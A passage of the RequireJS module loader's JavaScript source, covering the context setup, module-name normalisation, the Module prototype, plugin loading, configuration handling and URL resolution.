//If a define is already in play via another AMD loader,
//do not overwrite.
return;
}
if (typeof requirejs !== 'undefined') {
if (isFunction(requirejs)) {
//Do not overwrite and existing requirejs instance.
return;
}
cfg = requirejs;
requirejs = undefined;
}
//Allow for a require config object
if (typeof require !== 'undefined' && !isFunction(require)) {
//assume it is a config object.
cfg = require;
require = undefined;
}
function newContext(contextName) {
var inCheckLoaded, Module, context, handlers,
checkLoadedTimeoutId,
config = {
//Defaults. Do not set a default for map
//config to speed up normalize(), which
//will run faster if there is no default.
waitSeconds: 7,
baseUrl: './',
paths: {},
bundles: {},
pkgs: {},
shim: {},
config: {}
},
registry = {},
//registry of just enabled modules, to speed
//cycle breaking code when lots of modules
//are registered, but not activated.
enabledRegistry = {},
undefEvents = {},
defQueue = [],
defined = {},
urlFetched = {},
bundlesMap = {},
requireCounter = 1,
unnormalizedCounter = 1;
/**
* Trims the . and .. from an array of path segments.
* It will keep a leading path segment if a .. will become
* the first path segment, to help with module name lookups,
* which act like paths, but can be remapped. But the end result,
* all paths that use this function should look normalized.
* NOTE: this method MODIFIES the input array.
* @param {Array} ary the array of path segments.
*/
function trimDots(ary) {
var i, part, length = ary.length;
for (i = 0; i < length; i++) {
part = ary[i];
if (part === '.') {
ary.splice(i, 1);
i -= 1;
} else if (part === '..') {
if (i === 1 && (ary[2] === '..' || ary[0] === '..')) {
//End of the line. Keep at least one non-dot
//path segment at the front so it can be mapped
//correctly to disk. Otherwise, there is likely
//no path mapping for a path starting with '..'.
//This can still fail, but catches the most reasonable
//uses of ..
break;
} else if (i > 0) {
ary.splice(i - 1, 2);
i -= 2;
}
}
}
}
/**
* Given a relative module name, like ./something, normalize it to
* a real name that can be mapped to a path.
* @param {String} name the relative name
* @param {String} baseName a real name that the name arg is relative
* to.
* @param {Boolean} applyMap apply the map config to the value. Should
* only be done if this normalization is for a dependency ID.
* @returns {String} normalized name
*/
function normalize(name, baseName, applyMap) {
var pkgMain, mapValue, nameParts, i, j, nameSegment, lastIndex,
foundMap, foundI, foundStarMap, starI,
baseParts = baseName && baseName.split('/'),
normalizedBaseParts = baseParts,
map = config.map,
starMap = map && map['*'];
//Adjust any relative paths.
if (name && name.charAt(0) === '.') {
//If have a base name, try to normalize against it,
//otherwise, assume it is a top-level require that will
//be relative to baseUrl in the end.
if (baseName) {
//Convert baseName to array, and lop off the last part,
//so that . matches that 'directory' and not name of the baseName's
//module. For instance, baseName of 'one/two/three', maps to
//'one/two/three.js', but we want the directory, 'one/two' for
//this normalization.
normalizedBaseParts = baseParts.slice(0, baseParts.length - 1);
name = name.split('/');
lastIndex = name.length - 1;
// If wanting node ID compatibility, strip .js from end
// of IDs. Have to do this here, and not in nameToUrl
// because node allows either .js or non .js to map
// to same file.
if (config.nodeIdCompat && jsSuffixRegExp.test(name[lastIndex])) {
name[lastIndex] = name[lastIndex].replace(jsSuffixRegExp, '');
}
name = normalizedBaseParts.concat(name);
trimDots(name);
name = name.join('/');
} else if (name.indexOf('./') === 0) {
// No baseName, so this is ID is resolved relative
// to baseUrl, pull off the leading dot.
name = name.substring(2);
}
}
//Apply map config if available.
if (applyMap && map && (baseParts || starMap)) {
nameParts = name.split('/');
outerLoop: for (i = nameParts.length; i > 0; i -= 1) {
nameSegment = nameParts.slice(0, i).join('/');
if (baseParts) {
//Find the longest baseName segment match in the config.
//So, do joins on the biggest to smallest lengths of baseParts.
for (j = baseParts.length; j > 0; j -= 1) {
mapValue = getOwn(map, baseParts.slice(0, j).join('/'));
//baseName segment has config, find if it has one for
//this name.
if (mapValue) {
mapValue = getOwn(mapValue, nameSegment);
if (mapValue) {
//Match, update name to the new value.
foundMap = mapValue;
foundI = i;
break outerLoop;
}
}
}
}
//Check for a star map match, but just hold on to it,
//if there is a shorter segment match later in a matching
//config, then favor over this star map.
if (!foundStarMap && starMap && getOwn(starMap, nameSegment)) {
foundStarMap = getOwn(starMap, nameSegment);
starI = i;
}
}
if (!foundMap && foundStarMap) {
foundMap = foundStarMap;
foundI = starI;
}
if (foundMap) {
nameParts.splice(0, foundI, foundMap);
name = nameParts.join('/');
}
}
// If the name points to a package's name, use
// the package main instead.
pkgMain = getOwn(config.pkgs, name);
return pkgMain ? pkgMain : name;
}
function removeScript(name) {
if (isBrowser) {
each(scripts(), function (scriptNode) {
if (scriptNode.getAttribute('data-requiremodule') === name &&
scriptNode.getAttribute('data-requirecontext') === context.contextName) {
scriptNode.parentNode.removeChild(scriptNode);
return true;
}
});
}
}
function hasPathFallback(id) {
var pathConfig = getOwn(config.paths, id);
if (pathConfig && isArray(pathConfig) && pathConfig.length > 1) {
//Pop off the first array value, since it failed, and
//retry
pathConfig.shift();
context.require.undef(id);
context.require([id]);
return true;
}
}
//Turns a plugin!resource to [plugin, resource]
//with the plugin being undefined if the name
//did not have a plugin prefix.
function splitPrefix(name) {
var prefix,
index = name ? name.indexOf('!') : -1;
if (index > -1) {
prefix = name.substring(0, index);
name = name.substring(index + 1, name.length);
}
return [prefix, name];
}
/**
* Creates a module mapping that includes plugin prefix, module
* name, and path. If parentModuleMap is provided it will
* also normalize the name via require.normalize()
*
* @param {String} name the module name
* @param {String} [parentModuleMap] parent module map
* for the module name, used to resolve relative names.
* @param {Boolean} isNormalized: is the ID already normalized.
* This is true if this call is done for a define() module ID.
* @param {Boolean} applyMap: apply the map config to the ID.
* Should only be true if this map is for a dependency.
*
* @returns {Object}
*/
function makeModuleMap(name, parentModuleMap, isNormalized, applyMap) {
var url, pluginModule, suffix, nameParts,
prefix = null,
parentName = parentModuleMap ? parentModuleMap.name : null,
originalName = name,
isDefine = true,
normalizedName = '';
//If no name, then it means it is a require call, generate an
//internal name.
if (!name) {
isDefine = false;
name = '_@r' + (requireCounter += 1);
}
nameParts = splitPrefix(name);
prefix = nameParts[0];
name = nameParts[1];
if (prefix) {
prefix = normalize(prefix, parentName, applyMap);
pluginModule = getOwn(defined, prefix);
}
//Account for relative paths if there is a base name.
if (name) {
if (prefix) {
if (pluginModule && pluginModule.normalize) {
//Plugin is loaded, use its normalize method.
normalizedName = pluginModule.normalize(name, function (name) {
return normalize(name, parentName, applyMap);
});
} else {
normalizedName = normalize(name, parentName, applyMap);
}
} else {
//A regular module.
normalizedName = normalize(name, parentName, applyMap);
//Normalized name may be a plugin ID due to map config
//application in normalize. The map config values must
//already be normalized, so do not need to redo that part.
nameParts = splitPrefix(normalizedName);
prefix = nameParts[0];
normalizedName = nameParts[1];
isNormalized = true;
url = context.nameToUrl(normalizedName);
}
}
//If the id is a plugin id that cannot be determined if it needs
//normalization, stamp it with a unique ID so two matching relative
//ids that may conflict can be separate.
suffix = prefix && !pluginModule && !isNormalized ?
'_unnormalized' + (unnormalizedCounter += 1) :
'';
return {
prefix: prefix,
name: normalizedName,
parentMap: parentModuleMap,
unnormalized: !!suffix,
url: url,
originalName: originalName,
isDefine: isDefine,
id: (prefix ?
prefix + '!' + normalizedName :
normalizedName) + suffix
};
}
function getModule(depMap) {
var id = depMap.id,
mod = getOwn(registry, id);
if (!mod) {
mod = registry[id] = new context.Module(depMap);
}
return mod;
}
function on(depMap, name, fn) {
var id = depMap.id,
mod = getOwn(registry, id);
if (hasProp(defined, id) &&
(!mod || mod.defineEmitComplete)) {
if (name === 'defined') {
fn(defined[id]);
}
} else {
mod = getModule(depMap);
if (mod.error && name === 'error') {
fn(mod.error);
} else {
mod.on(name, fn);
}
}
}
function onError(err, errback) {
var ids = err.requireModules,
notified = false;
if (errback) {
errback(err);
} else {
each(ids, function (id) {
var mod = getOwn(registry, id);
if (mod) {
//Set error on module, so it skips timeout checks.
mod.error = err;
if (mod.events.error) {
notified = true;
mod.emit('error', err);
}
}
});
if (!notified) {
req.onError(err);
}
}
}
/**
* Internal method to transfer globalQueue items to this context's
* defQueue.
*/
function takeGlobalQueue() {
//Push all the globalDefQueue items into the context's defQueue
if (globalDefQueue.length) {
//Array splice in the values since the context code has a
//local var ref to defQueue, so cannot just reassign the one
//on context.
apsp.apply(defQueue,
[defQueue.length, 0].concat(globalDefQueue));
globalDefQueue = [];
}
}
handlers = {
'require': function (mod) {
if (mod.require) {
return mod.require;
} else {
return (mod.require = context.makeRequire(mod.map));
}
},
'exports': function (mod) {
mod.usingExports = true;
if (mod.map.isDefine) {
if (mod.exports) {
return (defined[mod.map.id] = mod.exports);
} else {
return (mod.exports = defined[mod.map.id] = {});
}
}
},
'module': function (mod) {
if (mod.module) {
return mod.module;
} else {
return (mod.module = {
id: mod.map.id,
uri: mod.map.url,
config: function () {
return getOwn(config.config, mod.map.id) || {};
},
exports: mod.exports || (mod.exports = {})
});
}
}
};
function cleanRegistry(id) {
//Clean up machinery used for waiting modules.
delete registry[id];
delete enabledRegistry[id];
}
function breakCycle(mod, traced, processed) {
var id = mod.map.id;
if (mod.error) {
mod.emit('error', mod.error);
} else {
traced[id] = true;
each(mod.depMaps, function (depMap, i) {
var depId = depMap.id,
dep = getOwn(registry, depId);
//Only force things that have not completed
//being defined, so still in the registry,
//and only if it has not been matched up
//in the module already.
if (dep && !mod.depMatched[i] && !processed[depId]) {
if (getOwn(traced, depId)) {
mod.defineDep(i, defined[depId]);
mod.check(); //pass false?
} else {
breakCycle(dep, traced, processed);
}
}
});
processed[id] = true;
}
}
function checkLoaded() {
var err, usingPathFallback,
waitInterval = config.waitSeconds * 1000,
//It is possible to disable the wait interval by using waitSeconds of 0.
expired = waitInterval && (context.startTime + waitInterval) < new Date().getTime(),
noLoads = [],
reqCalls = [],
stillLoading = false,
needCycleCheck = true;
//Do not bother if this call was a result of a cycle break.
if (inCheckLoaded) {
return;
}
inCheckLoaded = true;
//Figure out the state of all the modules.
eachProp(enabledRegistry, function (mod) {
var map = mod.map,
modId = map.id;
//Skip things that are not enabled or in error state.
if (!mod.enabled) {
return;
}
if (!map.isDefine) {
reqCalls.push(mod);
}
if (!mod.error) {
//If the module should be executed, and it has not
//been inited and time is up, remember it.
if (!mod.inited && expired) {
if (hasPathFallback(modId)) {
usingPathFallback = true;
stillLoading = true;
} else {
noLoads.push(modId);
removeScript(modId);
}
} else if (!mod.inited && mod.fetched && map.isDefine) {
stillLoading = true;
if (!map.prefix) {
//No reason to keep looking for unfinished
//loading. If the only stillLoading is a
//plugin resource though, keep going,
//because it may be that a plugin resource
//is waiting on a non-plugin cycle.
return (needCycleCheck = false);
}
}
}
});
if (expired && noLoads.length) {
//If wait time expired, throw error of unloaded modules.
err = makeError('timeout', 'Load timeout for modules: ' + noLoads, null, noLoads);
err.contextName = context.contextName;
return onError(err);
}
//Not expired, check for a cycle.
if (needCycleCheck) {
each(reqCalls, function (mod) {
breakCycle(mod, {}, {});
});
}
//If still waiting on loads, and the waiting load is something
//other than a plugin resource, or there are still outstanding
//scripts, then just try back later.
if ((!expired || usingPathFallback) && stillLoading) {
//Something is still waiting to load. Wait for it, but only
//if a timeout is not already in effect.
if ((isBrowser || isWebWorker) && !checkLoadedTimeoutId) {
checkLoadedTimeoutId = setTimeout(function () {
checkLoadedTimeoutId = 0;
checkLoaded();
}, 50);
}
}
inCheckLoaded = false;
}
Module = function (map) {
this.events = getOwn(undefEvents, map.id) || {};
this.map = map;
this.shim = getOwn(config.shim, map.id);
this.depExports = [];
this.depMaps = [];
this.depMatched = [];
this.pluginMaps = {};
this.depCount = 0;
/* this.exports this.factory
this.depMaps = [],
this.enabled, this.fetched
*/
};
Module.prototype = {
init: function (depMaps, factory, errback, options) {
options = options || {};
//Do not do more inits if already done. Can happen if there
//are multiple define calls for the same module. That is not
//a normal, common case, but it is also not unexpected.
if (this.inited) {
return;
}
this.factory = factory;
if (errback) {
//Register for errors on this module.
this.on('error', errback);
} else if (this.events.error) {
//If no errback already, but there are error listeners
//on this module, set up an errback to pass to the deps.
errback = bind(this, function (err) {
this.emit('error', err);
});
}
//Do a copy of the dependency array, so that
//source inputs are not modified. For example
//"shim" deps are passed in here directly, and
//doing a direct modification of the depMaps array
//would affect that config.
this.depMaps = depMaps && depMaps.slice(0);
this.errback = errback;
//Indicate this module has be initialized
this.inited = true;
this.ignore = options.ignore;
//Could have option to init this module in enabled mode,
//or could have been previously marked as enabled. However,
//the dependencies are not known until init is called. So
//if enabled previously, now trigger dependencies as enabled.
if (options.enabled || this.enabled) {
//Enable this module and dependencies.
//Will call this.check()
this.enable();
} else {
this.check();
}
},
defineDep: function (i, depExports) {
//Because of cycles, defined callback for a given
//export can be called more than once.
if (!this.depMatched[i]) {
this.depMatched[i] = true;
this.depCount -= 1;
this.depExports[i] = depExports;
}
},
fetch: function () {
if (this.fetched) {
return;
}
this.fetched = true;
context.startTime = (new Date()).getTime();
var map = this.map;
//If the manager is for a plugin managed resource,
//ask the plugin to load it now.
if (this.shim) {
context.makeRequire(this.map, {
enableBuildCallback: true
})(this.shim.deps || [], bind(this, function () {
return map.prefix ? this.callPlugin() : this.load();
}));
} else {
//Regular dependency.
return map.prefix ? this.callPlugin() : this.load();
}
},
load: function () {
var url = this.map.url;
//Regular dependency.
if (!urlFetched[url]) {
urlFetched[url] = true;
context.load(this.map.id, url);
}
},
/**
* Checks if the module is ready to define itself, and if so,
* define it.
*/
check: function () {
if (!this.enabled || this.enabling) {
return;
}
var err, cjsModule,
id = this.map.id,
depExports = this.depExports,
exports = this.exports,
factory = this.factory;
if (!this.inited) {
this.fetch();
} else if (this.error) {
this.emit('error', this.error);
} else if (!this.defining) {
//The factory could trigger another require call
//that would result in checking this module to
//define itself again. If already in the process
//of doing that, skip this work.
this.defining = true;
if (this.depCount < 1 && !this.defined) {
if (isFunction(factory)) {
//If there is an error listener, favor passing
//to that instead of throwing an error. However,
//only do it for define()'d modules. require
//errbacks should not be called for failures in
//their callbacks (#699). However if a global
//onError is set, use that.
if ((this.events.error && this.map.isDefine) ||
req.onError !== defaultOnError) {
try {
exports = context.execCb(id, factory, depExports, exports);
} catch (e) {
err = e;
}
} else {
exports = context.execCb(id, factory, depExports, exports);
}
// Favor return value over exports. If node/cjs in play,
// then will not have a return value anyway. Favor
// module.exports assignment over exports object.
if (this.map.isDefine && exports === undefined) {
cjsModule = this.module;
if (cjsModule) {
exports = cjsModule.exports;
} else if (this.usingExports) {
//exports already set the defined value.
exports = this.exports;
}
}
if (err) {
err.requireMap = this.map;
err.requireModules = this.map.isDefine ? [this.map.id] : null;
err.requireType = this.map.isDefine ? 'define' : 'require';
return onError((this.error = err));
}
} else {
//Just a literal value
exports = factory;
}
this.exports = exports;
if (this.map.isDefine && !this.ignore) {
defined[id] = exports;
if (req.onResourceLoad) {
req.onResourceLoad(context, this.map, this.depMaps);
}
}
//Clean up
cleanRegistry(id);
this.defined = true;
}
//Finished the define stage. Allow calling check again
//to allow define notifications below in the case of a
//cycle.
this.defining = false;
if (this.defined && !this.defineEmitted) {
this.defineEmitted = true;
this.emit('defined', this.exports);
this.defineEmitComplete = true;
}
}
},
callPlugin: function () {
var map = this.map,
id = map.id,
//Map already normalized the prefix.
pluginMap = makeModuleMap(map.prefix);
//Mark this as a dependency for this plugin, so it
//can be traced for cycles.
this.depMaps.push(pluginMap);
on(pluginMap, 'defined', bind(this, function (plugin) {
var load, normalizedMap, normalizedMod,
bundleId = getOwn(bundlesMap, this.map.id),
name = this.map.name,
parentName = this.map.parentMap ? this.map.parentMap.name : null,
localRequire = context.makeRequire(map.parentMap, {
enableBuildCallback: true
});
//If current map is not normalized, wait for that
//normalized name to load instead of continuing.
if (this.map.unnormalized) {
//Normalize the ID if the plugin allows it.
if (plugin.normalize) {
name = plugin.normalize(name, function (name) {
return normalize(name, parentName, true);
}) || '';
}
//prefix and name should already be normalized, no need
//for applying map config again either.
normalizedMap = makeModuleMap(map.prefix + '!' + name,
this.map.parentMap);
on(normalizedMap,
'defined', bind(this, function (value) {
this.init([], function () { return value; }, null, {
enabled: true,
ignore: true
});
}));
normalizedMod = getOwn(registry, normalizedMap.id);
if (normalizedMod) {
//Mark this as a dependency for this plugin, so it
//can be traced for cycles.
this.depMaps.push(normalizedMap);
if (this.events.error) {
normalizedMod.on('error', bind(this, function (err) {
this.emit('error', err);
}));
}
normalizedMod.enable();
}
return;
}
//If a paths config, then just load that file instead to
//resolve the plugin, as it is built into that paths layer.
if (bundleId) {
this.map.url = context.nameToUrl(bundleId);
this.load();
return;
}
load = bind(this, function (value) {
this.init([], function () { return value; }, null, {
enabled: true
});
});
load.error = bind(this, function (err) {
this.inited = true;
this.error = err;
err.requireModules = [id];
//Remove temp unnormalized modules for this module,
//since they will never be resolved otherwise now.
eachProp(registry, function (mod) {
if (mod.map.id.indexOf(id + '_unnormalized') === 0) {
cleanRegistry(mod.map.id);
}
});
onError(err);
});
//Allow plugins to load other code without having to know the
//context or how to 'complete' the load.
load.fromText = bind(this, function (text, textAlt) {
/*jslint evil: true */
var moduleName = map.name,
moduleMap = makeModuleMap(moduleName),
hasInteractive = useInteractive;
//As of 2.1.0, support just passing the text, to reinforce
//fromText only being called once per resource. Still
//support old style of passing moduleName but discard
//that moduleName in favor of the internal ref.
if (textAlt) {
text = textAlt;
}
//Turn off interactive script matching for IE for any define
//calls in the text, then turn it back on at the end.
if (hasInteractive) {
useInteractive = false;
}
//Prime the system by creating a module instance for
//it.
getModule(moduleMap);
//Transfer any config to this other module.
if (hasProp(config.config, id)) {
config.config[moduleName] = config.config[id];
}
try {
req.exec(text);
} catch (e) {
return onError(makeError('fromtexteval',
'fromText eval for ' + id +
' failed: ' + e,
e,
[id]));
}
if (hasInteractive) {
useInteractive = true;
}
//Mark this as a dependency for the plugin
//resource
this.depMaps.push(moduleMap);
//Support anonymous modules.
context.completeLoad(moduleName);
//Bind the value of that module to the value for this
//resource ID.
localRequire([moduleName], load);
});
//Use parentName here since the plugin's name is not reliable,
//could be some weird string with no path that actually wants to
//reference the parentName's path.
plugin.load(map.name, localRequire, load, config);
}));
context.enable(pluginMap, this);
this.pluginMaps[pluginMap.id] = pluginMap;
},
enable: function () {
enabledRegistry[this.map.id] = this;
this.enabled = true;
//Set flag mentioning that the module is enabling,
//so that immediate calls to the defined callbacks
//for dependencies do not trigger inadvertent load
//with the depCount still being zero.
this.enabling = true;
//Enable each dependency
each(this.depMaps, bind(this, function (depMap, i) {
var id, mod, handler;
if (typeof depMap === 'string') {
//Dependency needs to be converted to a depMap
//and wired up to this module.
depMap = makeModuleMap(depMap,
(this.map.isDefine ? this.map : this.map.parentMap),
false,
!this.skipMap);
this.depMaps[i] = depMap;
handler = getOwn(handlers, depMap.id);
if (handler) {
this.depExports[i] = handler(this);
return;
}
this.depCount += 1;
on(depMap, 'defined', bind(this, function (depExports) {
this.defineDep(i, depExports);
this.check();
}));
if (this.errback) {
on(depMap, 'error', bind(this, this.errback));
}
}
id = depMap.id;
mod = registry[id];
//Skip special modules like 'require', 'exports', 'module'
//Also, don't call enable if it is already enabled,
//important in circular dependency cases.
if (!hasProp(handlers, id) && mod && !mod.enabled) {
context.enable(depMap, this);
}
}));
//Enable each plugin that is used in
//a dependency
eachProp(this.pluginMaps, bind(this, function (pluginMap) {
var mod = getOwn(registry, pluginMap.id);
if (mod && !mod.enabled) {
context.enable(pluginMap, this);
}
}));
this.enabling = false;
this.check();
},
on: function (name, cb) {
var cbs = this.events[name];
if (!cbs) {
cbs = this.events[name] = [];
}
cbs.push(cb);
},
emit: function (name, evt) {
each(this.events[name], function (cb) {
cb(evt);
});
if (name === 'error') {
//Now that the error handler was triggered, remove
//the listeners, since this broken Module instance
//can stay around for a while in the registry.
delete this.events[name];
}
}
};
function callGetModule(args) {
//Skip modules already defined.
if (!hasProp(defined, args[0])) {
getModule(makeModuleMap(args[0], null, true)).init(args[1], args[2]);
}
}
function removeListener(node, func, name, ieName) {
//Favor detachEvent because of IE9
//issue, see attachEvent/addEventListener comment elsewhere
//in this file.
if (node.detachEvent && !isOpera) {
//Probably IE. If not it will throw an error, which will be
//useful to know.
if (ieName) {
node.detachEvent(ieName, func);
}
} else {
node.removeEventListener(name, func, false);
}
}
/**
* Given an event from a script node, get the requirejs info from it,
* and then removes the event listeners on the node.
* @param {Event} evt
* @returns {Object}
*/
function getScriptData(evt) {
//Using currentTarget instead of target for Firefox 2.0's sake. Not
//all old browsers will be supported, but this one was easy enough
//to support and still makes sense.
var node = evt.currentTarget || evt.srcElement;
//Remove the listeners once here.
removeListener(node, context.onScriptLoad, 'load', 'onreadystatechange');
removeListener(node, context.onScriptError, 'error');
return {
node: node,
id: node && node.getAttribute('data-requiremodule')
};
}
function intakeDefines() {
var args;
//Any defined modules in the global queue, intake them now.
takeGlobalQueue();
//Make sure any remaining defQueue items get properly processed.
while (defQueue.length) {
args = defQueue.shift();
if (args[0] === null) {
return onError(makeError('mismatch', 'Mismatched anonymous define() module: ' + args[args.length - 1]));
} else {
//args are id, deps, factory. Should be normalized by the
//define() function.
callGetModule(args);
}
}
}
context = {
config: config,
contextName: contextName,
registry: registry,
defined: defined,
urlFetched: urlFetched,
defQueue: defQueue,
Module: Module,
makeModuleMap: makeModuleMap,
nextTick: req.nextTick,
onError: onError,
/**
* Set a configuration for the context.
* @param {Object} cfg config object to integrate.
*/
configure: function (cfg) {
//Make sure the baseUrl ends in a slash.
if (cfg.baseUrl) {
if (cfg.baseUrl.charAt(cfg.baseUrl.length - 1) !== '/') {
cfg.baseUrl += '/';
}
}
//Save off the paths since they require special processing,
//they are additive.
var shim = config.shim,
objs = {
paths: true,
bundles: true,
config: true,
map: true
};
eachProp(cfg, function (value, prop) {
if (objs[prop]) {
if (!config[prop]) {
config[prop] = {};
}
mixin(config[prop], value, true, true);
} else {
config[prop] = value;
}
});
//Reverse map the bundles
if (cfg.bundles) {
eachProp(cfg.bundles, function (value, prop) {
each(value, function (v) {
if (v !== prop) {
bundlesMap[v] = prop;
}
});
});
}
//Merge shim
if (cfg.shim) {
eachProp(cfg.shim, function (value, id) {
//Normalize the structure
if (isArray(value)) {
value = {
deps: value
};
}
if ((value.exports || value.init) && !value.exportsFn) {
value.exportsFn = context.makeShimExports(value);
}
shim[id] = value;
});
config.shim = shim;
}
//Adjust packages if necessary.
if (cfg.packages) {
each(cfg.packages, function (pkgObj) {
var location, name;
pkgObj = typeof pkgObj === 'string' ? { name: pkgObj } : pkgObj;
name = pkgObj.name;
location = pkgObj.location;
if (location) {
config.paths[name] = pkgObj.location;
}
//Save pointer to main module ID for pkg name.
//Remove leading dot in main, so main paths are normalized,
//and remove any trailing .js, since different package
//envs have different conventions: some use a module name,
//some use a file name.
config.pkgs[name] = pkgObj.name + '/' + (pkgObj.main || 'main')
.replace(currDirRegExp, '')
.replace(jsSuffixRegExp, '');
});
}
//If there are any "waiting to execute" modules in the registry,
//update the maps for them, since their info, like URLs to load,
//may have changed.
eachProp(registry, function (mod, id) {
//If module already has init called, since it is too
//late to modify them, and ignore unnormalized ones
//since they are transient.
if (!mod.inited && !mod.map.unnormalized) {
mod.map = makeModuleMap(id);
}
});
//If a deps array or a config callback is specified, then call
//require with those args. This is useful when require is defined as a
//config object before require.js is loaded.
if (cfg.deps || cfg.callback) {
context.require(cfg.deps || [], cfg.callback);
}
},
makeShimExports: function (value) {
function fn() {
var ret;
if (value.init) {
ret = value.init.apply(global, arguments);
}
return ret || (value.exports && getGlobal(value.exports));
}
return fn;
},
makeRequire: function (relMap, options) {
options = options || {};
function localRequire(deps, callback, errback) {
var id, map, requireMod;
if (options.enableBuildCallback && callback && isFunction(callback)) {
callback.__requireJsBuild = true;
}
if (typeof deps === 'string') {
if (isFunction(callback)) {
//Invalid call
return onError(makeError('requireargs', 'Invalid require call'), errback);
}
//If require|exports|module are requested, get the
//value for them from the special handlers. Caveat:
//this only works while module is being defined.
if (relMap && hasProp(handlers, deps)) {
return handlers[deps](registry[relMap.id]);
}
//Synchronous access to one module. If require.get is
//available (as in the Node adapter), prefer that.
if (req.get) {
return req.get(context, deps, relMap, localRequire);
}
//Normalize module name, if it contains . or ..
map = makeModuleMap(deps, relMap, false, true);
id = map.id;
if (!hasProp(defined, id)) {
return onError(makeError('notloaded', 'Module name "' +
id +
'" has not been loaded yet for context: ' +
contextName +
(relMap ? '' : '. Use require([])')));
}
return defined[id];
}
//Grab defines waiting in the global queue.
intakeDefines();
//Mark all the dependencies as needing to be loaded.
context.nextTick(function () {
//Some defines could have been added since the
//require call, collect them.
intakeDefines();
requireMod = getModule(makeModuleMap(null, relMap));
//Store if map config should be applied to this require
//call for dependencies.
requireMod.skipMap = options.skipMap;
requireMod.init(deps, callback, errback, {
enabled: true
});
checkLoaded();
});
return localRequire;
}
mixin(localRequire, {
isBrowser: isBrowser,
/**
* Converts a module name + .extension into an URL path.
* *Requires* the use of a module name. It does not support using
* plain URLs like nameToUrl.
*/
toUrl: function (moduleNamePlusExt) {
var ext,
index = moduleNamePlusExt.lastIndexOf('.'),
segment = moduleNamePlusExt.split('/')[0],
isRelative = segment === '.' || segment === '..';
//Have a file extension alias, and it is not the
//dots from a relative path.
if (index !== -1 && (!isRelative || index > 1)) {
ext = moduleNamePlusExt.substring(index, moduleNamePlusExt.length);
moduleNamePlusExt = moduleNamePlusExt.substring(0, index);
}
return context.nameToUrl(normalize(moduleNamePlusExt,
relMap && relMap.id, true), ext, true);
},
defined: function (id) {
return hasProp(defined, makeModuleMap(id, relMap, false, true).id);
},
specified: function (id) {
id = makeModuleMap(id, relMap, false, true).id;
return hasProp(defined, id) || hasProp(registry, id);
}
});
//Only allow undef on top level require calls
if (!relMap) {
localRequire.undef = function (id) {
//Bind any waiting define() calls to this context,
//fix for #408
takeGlobalQueue();
var map = makeModuleMap(id, relMap, true),
mod = getOwn(registry, id);
removeScript(id);
delete defined[id];
delete urlFetched[map.url];
delete undefEvents[id];
//Clean queued defines too. Go backwards
//in array so that the splices do not
//mess up the iteration.
eachReverse(defQueue, function(args, i) {
if(args[0] === id) {
defQueue.splice(i, 1);
}
});
if (mod) {
//Hold on to listeners in case the
//module will be attempted to be reloaded
//using a different config.
if (mod.events.defined) {
undefEvents[id] = mod.events;
}
cleanRegistry(id);
}
};
}
return localRequire;
},
/**
* Called to enable a module if it is still in the registry
* awaiting enablement. A second arg, parent, the parent module,
* is passed in for context, when this method is overridden by
* the optimizer. Not shown here to keep code compact.
*/
enable: function (depMap) {
var mod = getOwn(registry, depMap.id);
if (mod) {
getModule(depMap).enable();
}
},
/**
* Internal method used by environment adapters to complete a load event.
* A load event could be a script load or just a load pass from a synchronous
* load call.
* @param {String} moduleName the name of the module to potentially complete.
*/
completeLoad: function (moduleName) {
var found, args, mod,
shim = getOwn(config.shim, moduleName) || {},
shExports = shim.exports;
takeGlobalQueue();
while (defQueue.length) {
args = defQueue.shift();
if (args[0] === null) {
args[0] = moduleName;
//If already found an anonymous module and bound it
//to this name, then this is some other anon module
//waiting for its completeLoad to fire.
if (found) {
break;
}
found = true;
} else if (args[0] === moduleName) {
//Found matching define call for this script!
found = true;
}
callGetModule(args);
}
//Do this after the cycle of callGetModule in case the result
//of those calls/init calls changes the registry.
mod = getOwn(registry, moduleName);
if (!found && !hasProp(defined, moduleName) && mod && !mod.inited) {
if (config.enforceDefine && (!shExports || !getGlobal(shExports))) {
if (hasPathFallback(moduleName)) {
return;
} else {
return onError(makeError('nodefine',
'No define call for ' + moduleName,
null,
[moduleName]));
}
} else {
//A script that does not call define(), so just simulate
//the call for it.
callGetModule([moduleName, (shim.deps || []), shim.exportsFn]);
}
}
checkLoaded();
},
/**
* Converts a module name to a file path. Supports cases where
* moduleName may actually be just an URL.
* Note that it **does not** call normalize on the moduleName,
* it is assumed to have already been normalized. This is an
* internal API, not a public one. Use toUrl for the public API.
*/
nameToUrl: function (moduleName, ext, skipExt) {
var paths, syms, i, parentModule, url,
parentPath, bundleId,
pkgMain = getOwn(config.pkgs, moduleName);
if (pkgMain) {
moduleName = pkgMain;
}
bundleId = getOwn(bundlesMap, moduleName);
if (bundleId) {
return context.nameToUrl(bundleId, ext, skipExt);
}
//If a colon is in the URL, it indicates a protocol is used and it is just
//an URL to a file, or if it starts with a slash, contains a query arg (i.e. ?)
//or ends with .js, then assume the user meant to use an url and not a module id.
//The slash is important for protocol-less URLs as well as full paths.
if (req.jsExtRegExp.test(moduleName)) {
//Just a plain path, not module name lookup, so just return it.
//Add extension if it is included. This is a bit wonky, only non-.js things pass
//an extension, this method probably needs to be reworked.
url = moduleName + (ext || '');
} else {
//A module that needs to be converted to a path.
paths = config.paths;
syms = moduleName.split('/');
//For each module name segment, see if there is a path
//registered for it. Start with most specific name
//and work up from it.
for (i = syms.length; i > 0; i -= 1) {
parentModule = syms.slice(0, i).join('/');
parentPath = getOwn(paths, parentModule);
if (parentPath) {
//If an array, it means there are a few choices,
//Choose the one that is desired
if (isArray(parentPath)) {
parentPath = parentPath[0];
}
syms.splice(0, i, parentPath);
break;
}
}
//Join the path parts together, then figure out if baseUrl is needed.
url = syms.join('/');
url += (ext || (/^data\:|\?/.test(url) || skipExt ? '' : '.js'));
url = (url.charAt(0) === '/' || url.match(/^[\w\+\.\-]+:/) ? '' : config.baseUrl) + url;
}
return config.urlArgs ? url +
((url.indexOf('?') === -1 ? '?' : '&') +
config.urlArgs) : url;
},
//Delegates to req.load. Broken out as a separate function to
//allow overriding in the optimizer.
load: function (id, url) {
req.load(context, id, url);
},
/**
* Executes a module callback function. Broken out as a separate function
* solely to allow the build system to sequence the files in the built
* layer in the right sequence.
*
* @private
*/
execCb: function (name, callback, args, exports) {
return callback.apply(exports, args);
},
/**
* callback for script loads, used to check status of loading.
*
* @param {Event} evt the event from the browser for the script
* that was loaded.
*/
onScriptLoad: function (evt) {
//Using currentTarget instead of target for Firefox 2.0's sake. Not
//all old browsers will be supported, but this one was easy enough
//to support and still makes sense.
if (evt.type === 'load' ||
(readyRegExp.test((evt.currentTarget || evt.srcElement).readyState))) {
//Reset interactive script so a script node is not held onto for
